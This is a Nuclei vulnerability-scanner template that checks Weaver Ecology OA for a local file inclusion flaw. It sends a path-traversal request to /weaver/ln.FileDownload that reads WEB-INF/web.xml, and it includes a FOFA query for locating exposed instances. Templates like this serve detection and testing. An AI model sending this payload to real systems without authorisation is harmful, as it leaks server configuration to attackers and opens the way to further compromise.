id: ecology-filedownload-directory-traversal

info:
  name: Ecology - Local File Inclusion
  author: princechaddha
  severity: high
  description: Ecology is vulnerable to local file inclusion.
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-23
  metadata:
    max-request: 1
    fofa-query: app="泛微-协同办公OA"
  tags: ecology,lfi,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/weaver/ln.FileDownload?fpath=../ecology/WEB-INF/web.xml"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "<url-pattern>/weaver/"
        part: body
# digest: 4b0a004830460221009e77b944f4b8c13b38845453090f4bacfba7170a931b83f527d9bc7687839436022100c0e6ed23f40154a546981f2d7adbd4e9dc87033d72aeecfb1c784fe8bb81df1f:922c64590222798bb761d5b6d8e72950